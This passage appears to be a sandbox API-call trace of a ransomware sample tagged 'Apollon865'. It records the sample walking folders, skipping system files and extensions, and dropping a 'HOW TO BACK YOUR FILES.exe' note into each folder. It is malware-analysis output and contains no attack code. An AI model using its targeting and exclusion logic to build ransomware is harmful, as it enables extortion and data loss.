	[0055.006] lstrlenW (lpString=".ini") returned 4
	[0055.006] lstrcmpiW (lpString1="Palmer", lpString2=".ini") returned 1
	[0055.006] lstrlenW (lpString=".sys") returned 4
	[0055.006] lstrcmpiW (lpString1="Palmer", lpString2=".sys") returned 1
	[0055.006] lstrlenW (lpString="Palmer") returned 6
	[0055.006] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Rothera" | out: lpString1="Rothera") returned="Rothera"
	[0055.006] lstrlenW (lpString="Rothera") returned 7
	[0055.006] lstrlenW (lpString="Apollon865") returned 10
	[0055.006] lstrlenW (lpString=".dll") returned 4
	[0055.006] lstrcmpiW (lpString1="Rothera", lpString2=".dll") returned 1
	[0055.006] lstrlenW (lpString=".lnk") returned 4
	[0055.006] lstrcmpiW (lpString1="Rothera", lpString2=".lnk") returned 1
	[0055.007] lstrlenW (lpString=".ini") returned 4
	[0055.007] lstrcmpiW (lpString1="Rothera", lpString2=".ini") returned 1
	[0055.007] lstrlenW (lpString=".sys") returned 4
	[0055.007] lstrcmpiW (lpString1="Rothera", lpString2=".sys") returned 1
	[0055.007] lstrlenW (lpString="Rothera") returned 7
	[0055.007] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Syowa" | out: lpString1="Syowa") returned="Syowa"
	[0055.007] lstrlenW (lpString="Syowa") returned 5
	[0055.007] lstrlenW (lpString="Apollon865") returned 10
	[0055.007] lstrlenW (lpString=".dll") returned 4
	[0055.007] lstrcmpiW (lpString1="Syowa", lpString2=".dll") returned 1
	[0055.007] lstrlenW (lpString=".lnk") returned 4
	[0055.007] lstrcmpiW (lpString1="Syowa", lpString2=".lnk") returned 1
	[0055.007] lstrlenW (lpString=".ini") returned 4
	[0055.007] lstrcmpiW (lpString1="Syowa", lpString2=".ini") returned 1
	[0055.007] lstrlenW (lpString=".sys") returned 4
	[0055.007] lstrcmpiW (lpString1="Syowa", lpString2=".sys") returned 1
	[0055.007] lstrlenW (lpString="Syowa") returned 5
	[0055.007] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Vostok" | out: lpString1="Vostok") returned="Vostok"
	[0055.007] lstrlenW (lpString="Vostok") returned 6
	[0055.007] lstrlenW (lpString="Apollon865") returned 10
	[0055.007] lstrlenW (lpString=".dll") returned 4
	[0055.007] lstrcmpiW (lpString1="Vostok", lpString2=".dll") returned 1
	[0055.007] lstrlenW (lpString=".lnk") returned 4
	[0055.007] lstrcmpiW (lpString1="Vostok", lpString2=".lnk") returned 1
	[0055.007] lstrlenW (lpString=".ini") returned 4
	[0055.007] lstrcmpiW (lpString1="Vostok", lpString2=".ini") returned 1
	[0055.007] lstrlenW (lpString=".sys") returned 4
	[0055.008] lstrcmpiW (lpString1="Vostok", lpString2=".sys") returned 1
	[0055.008] lstrlenW (lpString="Vostok") returned 6
	[0055.008] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America"
	[0055.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5590 | out: hHeap=0x580000) returned 1
	[0055.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0055.008] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned 47
	[0055.008] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America"
	[0055.008] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.008] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.020] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38dd2430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38dd2430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.023] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.023] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.023] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.024] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38dd2430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38dd2430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.027] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.027] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.027] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.027] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.027] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adak", cAlternateFileName="")) returned 1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="Apollon865.txt.exe") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2=".") returned 1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="..") returned 1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="windows") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="bootmgr") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="temp") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="pagefile.sys") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="boot") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="ids.txt") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="ntuser.dat") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="perflogs") returned -1
	[0055.027] lstrcmpiW (lpString1="Adak", lpString2="MSBuild") returned -1
	[0055.027] lstrlenW (lpString="Adak") returned 4
	[0055.027] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*") returned 49
	[0055.027] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Adak" | out: lpString1="Adak") returned="Adak"
	[0055.027] lstrlenW (lpString="Adak") returned 4
	[0055.028] lstrlenW (lpString="Apollon865") returned 10
	[0055.028] lstrlenW (lpString=".dll") returned 4
	[0055.028] lstrlenW (lpString=".lnk") returned 4
	[0055.028] lstrlenW (lpString=".ini") returned 4
	[0055.028] lstrlenW (lpString=".sys") returned 4
	[0055.028] lstrlenW (lpString="Adak") returned 4
	[0055.028] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Anchorage" | out: lpString1="Anchorage") returned="Anchorage"
	[0055.028] lstrlenW (lpString="Anchorage") returned 9
	[0055.028] lstrlenW (lpString="Apollon865") returned 10
	[0055.028] lstrlenW (lpString=".dll") returned 4
	[0055.028] lstrcmpiW (lpString1="Anchorage", lpString2=".dll") returned 1
	[0055.028] lstrlenW (lpString=".lnk") returned 4
	[0055.028] lstrcmpiW (lpString1="Anchorage", lpString2=".lnk") returned 1
	[0055.028] lstrlenW (lpString=".ini") returned 4
	[0055.028] lstrcmpiW (lpString1="Anchorage", lpString2=".ini") returned 1
	[0055.028] lstrlenW (lpString=".sys") returned 4
	[0055.028] lstrcmpiW (lpString1="Anchorage", lpString2=".sys") returned 1
	[0055.028] lstrlenW (lpString="Anchorage") returned 9
	[0055.028] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Anguilla" | out: lpString1="Anguilla") returned="Anguilla"
	[0055.028] lstrlenW (lpString="Anguilla") returned 8
	[0055.028] lstrlenW (lpString="Apollon865") returned 10
	[0055.028] lstrlenW (lpString=".dll") returned 4
	[0055.028] lstrcmpiW (lpString1="Anguilla", lpString2=".dll") returned 1
	[0055.028] lstrlenW (lpString=".lnk") returned 4
	[0055.028] lstrcmpiW (lpString1="Anguilla", lpString2=".lnk") returned 1
	[0055.028] lstrlenW (lpString=".ini") returned 4
	[0055.028] lstrcmpiW (lpString1="Anguilla", lpString2=".ini") returned 1
	[0055.029] lstrlenW (lpString=".sys") returned 4
	[0055.029] lstrcmpiW (lpString1="Anguilla", lpString2=".sys") returned 1
	[0055.029] lstrlenW (lpString="Anguilla") returned 8
	[0055.029] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Antigua" | out: lpString1="Antigua") returned="Antigua"
	[0055.029] lstrlenW (lpString="Antigua") returned 7
	[0055.029] lstrlenW (lpString="Apollon865") returned 10
	[0055.029] lstrlenW (lpString=".dll") returned 4
	[0055.029] lstrcmpiW (lpString1="Antigua", lpString2=".dll") returned 1
	[0055.029] lstrlenW (lpString=".lnk") returned 4
	[0055.029] lstrcmpiW (lpString1="Antigua", lpString2=".lnk") returned 1
	[0055.029] lstrlenW (lpString=".ini") returned 4
	[0055.029] lstrcmpiW (lpString1="Antigua", lpString2=".ini") returned 1
	[0055.029] lstrlenW (lpString=".sys") returned 4
	[0055.029] lstrcmpiW (lpString1="Antigua", lpString2=".sys") returned 1
	[0055.029] lstrlenW (lpString="Antigua") returned 7
	[0055.029] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Araguaina" | out: lpString1="Araguaina") returned="Araguaina"
	[0055.029] lstrlenW (lpString="Araguaina") returned 9
	[0055.029] lstrlenW (lpString="Apollon865") returned 10
	[0055.029] lstrlenW (lpString=".dll") returned 4
	[0055.029] lstrcmpiW (lpString1="Araguaina", lpString2=".dll") returned 1
	[0055.029] lstrlenW (lpString=".lnk") returned 4
	[0055.029] lstrcmpiW (lpString1="Araguaina", lpString2=".lnk") returned 1
	[0055.029] lstrlenW (lpString=".ini") returned 4
	[0055.029] lstrcmpiW (lpString1="Araguaina", lpString2=".ini") returned 1
	[0055.029] lstrlenW (lpString=".sys") returned 4
	[0055.029] lstrcmpiW (lpString1="Araguaina", lpString2=".sys") returned 1
	[0055.029] lstrlenW (lpString="Araguaina") returned 9
	[0055.030] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Argentina" | out: lpString1="Argentina") returned="Argentina"
	[0055.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0055.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0055.030] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0055.030] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aruba", cAlternateFileName="")) returned 1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="Apollon865.txt.exe") returned 1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2=".") returned 1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="..") returned 1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="windows") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="bootmgr") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="temp") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="pagefile.sys") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="boot") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="ids.txt") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="ntuser.dat") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="perflogs") returned -1
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2="MSBuild") returned -1
	[0055.030] lstrlenW (lpString="Aruba") returned 5
	[0055.030] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina") returned 57
	[0055.030] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Aruba" | out: lpString1="Aruba") returned="Aruba"
	[0055.030] lstrlenW (lpString="Aruba") returned 5
	[0055.030] lstrlenW (lpString="Apollon865") returned 10
	[0055.030] lstrlenW (lpString=".dll") returned 4
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2=".dll") returned 1
	[0055.030] lstrlenW (lpString=".lnk") returned 4
	[0055.030] lstrcmpiW (lpString1="Aruba", lpString2=".lnk") returned 1
	[0055.031] lstrlenW (lpString=".ini") returned 4
	[0055.031] lstrcmpiW (lpString1="Aruba", lpString2=".ini") returned 1
	[0055.031] lstrlenW (lpString=".sys") returned 4
	[0055.031] lstrcmpiW (lpString1="Aruba", lpString2=".sys") returned 1
	[0055.031] lstrlenW (lpString="Aruba") returned 5
	[0055.031] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Asuncion" | out: lpString1="Asuncion") returned="Asuncion"
	[0055.031] lstrlenW (lpString="Asuncion") returned 8
	[0055.031] lstrlenW (lpString="Apollon865") returned 10
	[0055.031] lstrlenW (lpString=".dll") returned 4
	[0055.031] lstrcmpiW (lpString1="Asuncion", lpString2=".dll") returned 1
	[0055.031] lstrlenW (lpString=".lnk") returned 4
	[0055.031] lstrcmpiW (lpString1="Asuncion", lpString2=".lnk") returned 1
	[0055.031] lstrlenW (lpString=".ini") returned 4
	[0055.031] lstrcmpiW (lpString1="Asuncion", lpString2=".ini") returned 1
	[0055.031] lstrlenW (lpString=".sys") returned 4
	[0055.031] lstrcmpiW (lpString1="Asuncion", lpString2=".sys") returned 1
	[0055.031] lstrlenW (lpString="Asuncion") returned 8
	[0055.031] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Atikokan" | out: lpString1="Atikokan") returned="Atikokan"
	[0055.031] lstrlenW (lpString="Atikokan") returned 8
	[0055.031] lstrlenW (lpString="Apollon865") returned 10
	[0055.031] lstrlenW (lpString=".dll") returned 4
	[0055.031] lstrcmpiW (lpString1="Atikokan", lpString2=".dll") returned 1
	[0055.031] lstrlenW (lpString=".lnk") returned 4
	[0055.031] lstrcmpiW (lpString1="Atikokan", lpString2=".lnk") returned 1
	[0055.031] lstrlenW (lpString=".ini") returned 4
	[0055.031] lstrcmpiW (lpString1="Atikokan", lpString2=".ini") returned 1
	[0055.032] lstrlenW (lpString=".sys") returned 4
	[0055.032] lstrcmpiW (lpString1="Atikokan", lpString2=".sys") returned 1
	[0055.032] lstrlenW (lpString="Atikokan") returned 8
	[0055.032] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Bahia" | out: lpString1="Bahia") returned="Bahia"
	[0055.032] lstrlenW (lpString="Bahia") returned 5
	[0055.032] lstrlenW (lpString="Apollon865") returned 10
	[0055.032] lstrlenW (lpString=".dll") returned 4
	[0055.032] lstrcmpiW (lpString1="Bahia", lpString2=".dll") returned 1
	[0055.032] lstrlenW (lpString=".lnk") returned 4
	[0055.032] lstrcmpiW (lpString1="Bahia", lpString2=".lnk") returned 1
	[0055.032] lstrlenW (lpString=".ini") returned 4
	[0055.032] lstrcmpiW (lpString1="Bahia", lpString2=".ini") returned 1
	[0055.032] lstrlenW (lpString=".sys") returned 4
	[0055.032] lstrcmpiW (lpString1="Bahia", lpString2=".sys") returned 1
	[0055.032] lstrlenW (lpString="Bahia") returned 5
	[0055.032] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Bahia_Banderas" | out: lpString1="Bahia_Banderas") returned="Bahia_Banderas"
	[0055.032] lstrlenW (lpString="Bahia_Banderas") returned 14
	[0055.032] lstrlenW (lpString="Apollon865") returned 10
	[0055.032] lstrcmpiW (lpString1="a_Banderas", lpString2="Apollon865") returned -1
	[0055.032] lstrlenW (lpString=".dll") returned 4
	[0055.032] lstrcmpiW (lpString1="Bahia_Banderas", lpString2=".dll") returned 1
	[0055.032] lstrlenW (lpString=".lnk") returned 4
	[0055.032] lstrcmpiW (lpString1="Bahia_Banderas", lpString2=".lnk") returned 1
	[0055.032] lstrlenW (lpString=".ini") returned 4
	[0055.033] lstrcmpiW (lpString1="Bahia_Banderas", lpString2=".ini") returned 1
	[0055.033] lstrlenW (lpString=".sys") returned 4
	[0055.033] lstrcmpiW (lpString1="Bahia_Banderas", lpString2=".sys") returned 1
	[0055.033] lstrlenW (lpString="Bahia_Banderas") returned 14
	[0055.033] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Barbados" | out: lpString1="Barbados") returned="Barbados"
	[0055.033] lstrlenW (lpString="Barbados") returned 8
	[0055.033] lstrlenW (lpString="Apollon865") returned 10
	[0055.033] lstrlenW (lpString=".dll") returned 4
	[0055.033] lstrcmpiW (lpString1="Barbados", lpString2=".dll") returned 1
	[0055.033] lstrlenW (lpString=".lnk") returned 4
	[0055.033] lstrcmpiW (lpString1="Barbados", lpString2=".lnk") returned 1
	[0055.033] lstrlenW (lpString=".ini") returned 4
	[0055.033] lstrcmpiW (lpString1="Barbados", lpString2=".ini") returned 1
	[0055.033] lstrlenW (lpString=".sys") returned 4
	[0055.033] lstrcmpiW (lpString1="Barbados", lpString2=".sys") returned 1
	[0055.033] lstrlenW (lpString="Barbados") returned 8
	[0055.033] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Belem" | out: lpString1="Belem") returned="Belem"
	[0055.033] lstrlenW (lpString="Belem") returned 5
	[0055.033] lstrlenW (lpString="Apollon865") returned 10
	[0055.033] lstrlenW (lpString=".dll") returned 4
	[0055.033] lstrcmpiW (lpString1="Belem", lpString2=".dll") returned 1
	[0055.033] lstrlenW (lpString=".lnk") returned 4
	[0055.033] lstrcmpiW (lpString1="Belem", lpString2=".lnk") returned 1
	[0055.033] lstrlenW (lpString=".ini") returned 4
	[0055.033] lstrcmpiW (lpString1="Belem", lpString2=".ini") returned 1
	[0055.033] lstrlenW (lpString=".sys") returned 4
	[0055.034] lstrcmpiW (lpString1="Belem", lpString2=".sys") returned 1
	[0055.034] lstrlenW (lpString="Belem") returned 5
	[0055.034] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Belize" | out: lpString1="Belize") returned="Belize"
	[0055.034] lstrlenW (lpString="Belize") returned 6
	[0055.034] lstrlenW (lpString="Apollon865") returned 10
	[0055.034] lstrlenW (lpString=".dll") returned 4
	[0055.034] lstrcmpiW (lpString1="Belize", lpString2=".dll") returned 1
	[0055.034] lstrlenW (lpString=".lnk") returned 4
	[0055.034] lstrcmpiW (lpString1="Belize", lpString2=".lnk") returned 1
	[0055.034] lstrlenW (lpString=".ini") returned 4
	[0055.034] lstrcmpiW (lpString1="Belize", lpString2=".ini") returned 1
	[0055.034] lstrlenW (lpString=".sys") returned 4
	[0055.034] lstrcmpiW (lpString1="Belize", lpString2=".sys") returned 1
	[0055.034] lstrlenW (lpString="Belize") returned 6
	[0055.034] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Blanc-Sablon" | out: lpString1="Blanc-Sablon") returned="Blanc-Sablon"
	[0055.034] lstrlenW (lpString="Blanc-Sablon") returned 12
	[0055.034] lstrlenW (lpString="Apollon865") returned 10
	[0055.034] lstrcmpiW (lpString1="anc-Sablon", lpString2="Apollon865") returned -1
	[0055.034] lstrlenW (lpString=".dll") returned 4
	[0055.034] lstrcmpiW (lpString1="Blanc-Sablon", lpString2=".dll") returned 1
	[0055.034] lstrlenW (lpString=".lnk") returned 4
	[0055.034] lstrcmpiW (lpString1="Blanc-Sablon", lpString2=".lnk") returned 1
	[0055.034] lstrlenW (lpString=".ini") returned 4
	[0055.034] lstrcmpiW (lpString1="Blanc-Sablon", lpString2=".ini") returned 1
	[0055.034] lstrlenW (lpString=".sys") returned 4
	[0055.034] lstrcmpiW (lpString1="Blanc-Sablon", lpString2=".sys") returned 1
	[0055.034] lstrlenW (lpString="Blanc-Sablon") returned 12
	[0055.035] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Boa_Vista" | out: lpString1="Boa_Vista") returned="Boa_Vista"
	[0055.035] lstrlenW (lpString="Boa_Vista") returned 9
	[0055.035] lstrlenW (lpString="Apollon865") returned 10
	[0055.035] lstrlenW (lpString=".dll") returned 4
	[0055.035] lstrcmpiW (lpString1="Boa_Vista", lpString2=".dll") returned 1
	[0055.035] lstrlenW (lpString=".lnk") returned 4
	[0055.035] lstrcmpiW (lpString1="Boa_Vista", lpString2=".lnk") returned 1
	[0055.035] lstrlenW (lpString=".ini") returned 4
	[0055.035] lstrcmpiW (lpString1="Boa_Vista", lpString2=".ini") returned 1
	[0055.035] lstrlenW (lpString=".sys") returned 4
	[0055.035] lstrcmpiW (lpString1="Boa_Vista", lpString2=".sys") returned 1
	[0055.035] lstrlenW (lpString="Boa_Vista") returned 9
	[0055.035] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Bogota" | out: lpString1="Bogota") returned="Bogota"
	[0055.035] lstrlenW (lpString="Bogota") returned 6
	[0055.035] lstrlenW (lpString="Apollon865") returned 10
	[0055.035] lstrlenW (lpString=".dll") returned 4
	[0055.035] lstrcmpiW (lpString1="Bogota", lpString2=".dll") returned 1
	[0055.035] lstrlenW (lpString=".lnk") returned 4
	[0055.035] lstrcmpiW (lpString1="Bogota", lpString2=".lnk") returned 1
	[0055.035] lstrlenW (lpString=".ini") returned 4
	[0055.035] lstrcmpiW (lpString1="Bogota", lpString2=".ini") returned 1
	[0055.035] lstrlenW (lpString=".sys") returned 4
	[0055.035] lstrcmpiW (lpString1="Bogota", lpString2=".sys") returned 1
	[0055.035] lstrlenW (lpString="Bogota") returned 6
	[0055.035] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Boise" | out: lpString1="Boise") returned="Boise"
	[0055.035] lstrlenW (lpString="Boise") returned 5
	[0055.035] lstrlenW (lpString="Apollon865") returned 10
	[0055.035] lstrlenW (lpString=".dll") returned 4
	[0055.035] lstrcmpiW (lpString1="Boise", lpString2=".dll") returned 1
	[0055.036] lstrlenW (lpString=".lnk") returned 4
	[0055.036] lstrcmpiW (lpString1="Boise", lpString2=".lnk") returned 1
	[0055.036] lstrlenW (lpString=".ini") returned 4
	[0055.036] lstrcmpiW (lpString1="Boise", lpString2=".ini") returned 1
	[0055.036] lstrlenW (lpString=".sys") returned 4
	[0055.036] lstrcmpiW (lpString1="Boise", lpString2=".sys") returned 1
	[0055.036] lstrlenW (lpString="Boise") returned 5
	[0055.036] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Cambridge_Bay" | out: lpString1="Cambridge_Bay") returned="Cambridge_Bay"
	[0055.036] lstrlenW (lpString="Cambridge_Bay") returned 13
	[0055.036] lstrlenW (lpString="Apollon865") returned 10
	[0055.036] lstrcmpiW (lpString1="bridge_Bay", lpString2="Apollon865") returned 1
	[0055.036] lstrlenW (lpString=".dll") returned 4
	[0055.036] lstrcmpiW (lpString1="Cambridge_Bay", lpString2=".dll") returned 1
	[0055.036] lstrlenW (lpString=".lnk") returned 4
	[0055.036] lstrcmpiW (lpString1="Cambridge_Bay", lpString2=".lnk") returned 1
	[0055.036] lstrlenW (lpString=".ini") returned 4
	[0055.036] lstrcmpiW (lpString1="Cambridge_Bay", lpString2=".ini") returned 1
	[0055.036] lstrlenW (lpString=".sys") returned 4
	[0055.036] lstrcmpiW (lpString1="Cambridge_Bay", lpString2=".sys") returned 1
	[0055.036] lstrlenW (lpString="Cambridge_Bay") returned 13
	[0055.036] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Campo_Grande" | out: lpString1="Campo_Grande") returned="Campo_Grande"
	[0055.036] lstrlenW (lpString="Campo_Grande") returned 12
	[0055.036] lstrlenW (lpString="Apollon865") returned 10
	[0055.036] lstrcmpiW (lpString1="mpo_Grande", lpString2="Apollon865") returned 1
	[0055.036] lstrlenW (lpString=".dll") returned 4
	[0055.036] lstrcmpiW (lpString1="Campo_Grande", lpString2=".dll") returned 1
	[0055.036] lstrlenW (lpString=".lnk") returned 4
	[0055.036] lstrcmpiW (lpString1="Campo_Grande", lpString2=".lnk") returned 1
	[0055.037] lstrlenW (lpString=".ini") returned 4
	[0055.037] lstrcmpiW (lpString1="Campo_Grande", lpString2=".ini") returned 1
	[0055.037] lstrlenW (lpString=".sys") returned 4
	[0055.037] lstrcmpiW (lpString1="Campo_Grande", lpString2=".sys") returned 1
	[0055.037] lstrlenW (lpString="Campo_Grande") returned 12
	[0055.037] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Cancun" | out: lpString1="Cancun") returned="Cancun"
	[0055.037] lstrlenW (lpString="Cancun") returned 6
	[0055.037] lstrlenW (lpString="Apollon865") returned 10
	[0055.037] lstrlenW (lpString=".dll") returned 4
	[0055.037] lstrcmpiW (lpString1="Cancun", lpString2=".dll") returned 1
	[0055.037] lstrlenW (lpString=".lnk") returned 4
	[0055.037] lstrcmpiW (lpString1="Cancun", lpString2=".lnk") returned 1
	[0055.037] lstrlenW (lpString=".ini") returned 4
	[0055.037] lstrcmpiW (lpString1="Cancun", lpString2=".ini") returned 1
	[0055.037] lstrlenW (lpString=".sys") returned 4
	[0055.037] lstrcmpiW (lpString1="Cancun", lpString2=".sys") returned 1
	[0055.037] lstrlenW (lpString="Cancun") returned 6
	[0055.037] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Caracas" | out: lpString1="Caracas") returned="Caracas"
	[0055.037] lstrlenW (lpString="Caracas") returned 7
	[0055.037] lstrlenW (lpString="Apollon865") returned 10
	[0055.037] lstrlenW (lpString=".dll") returned 4
	[0055.037] lstrcmpiW (lpString1="Caracas", lpString2=".dll") returned 1
	[0055.037] lstrlenW (lpString=".lnk") returned 4
	[0055.037] lstrcmpiW (lpString1="Caracas", lpString2=".lnk") returned 1
	[0055.037] lstrlenW (lpString=".ini") returned 4
	[0055.037] lstrcmpiW (lpString1="Caracas", lpString2=".ini") returned 1
	[0055.038] lstrlenW (lpString=".sys") returned 4
	[0055.038] lstrcmpiW (lpString1="Caracas", lpString2=".sys") returned 1
	[0055.038] lstrlenW (lpString="Caracas") returned 7
	[0055.038] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Cayenne" | out: lpString1="Cayenne") returned="Cayenne"
	[0055.038] lstrlenW (lpString="Cayenne") returned 7
	[0055.038] lstrlenW (lpString="Apollon865") returned 10
	[0055.038] lstrlenW (lpString=".dll") returned 4
	[0055.038] lstrcmpiW (lpString1="Cayenne", lpString2=".dll") returned 1
	[0055.038] lstrlenW (lpString=".lnk") returned 4
	[0055.038] lstrcmpiW (lpString1="Cayenne", lpString2=".lnk") returned 1
	[0055.038] lstrlenW (lpString=".ini") returned 4
	[0055.038] lstrcmpiW (lpString1="Cayenne", lpString2=".ini") returned 1
	[0055.038] lstrlenW (lpString=".sys") returned 4
	[0055.038] lstrcmpiW (lpString1="Cayenne", lpString2=".sys") returned 1
	[0055.038] lstrlenW (lpString="Cayenne") returned 7
	[0055.038] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Cayman" | out: lpString1="Cayman") returned="Cayman"
	[0055.038] lstrlenW (lpString="Cayman") returned 6
	[0055.038] lstrlenW (lpString="Apollon865") returned 10
	[0055.038] lstrlenW (lpString=".dll") returned 4
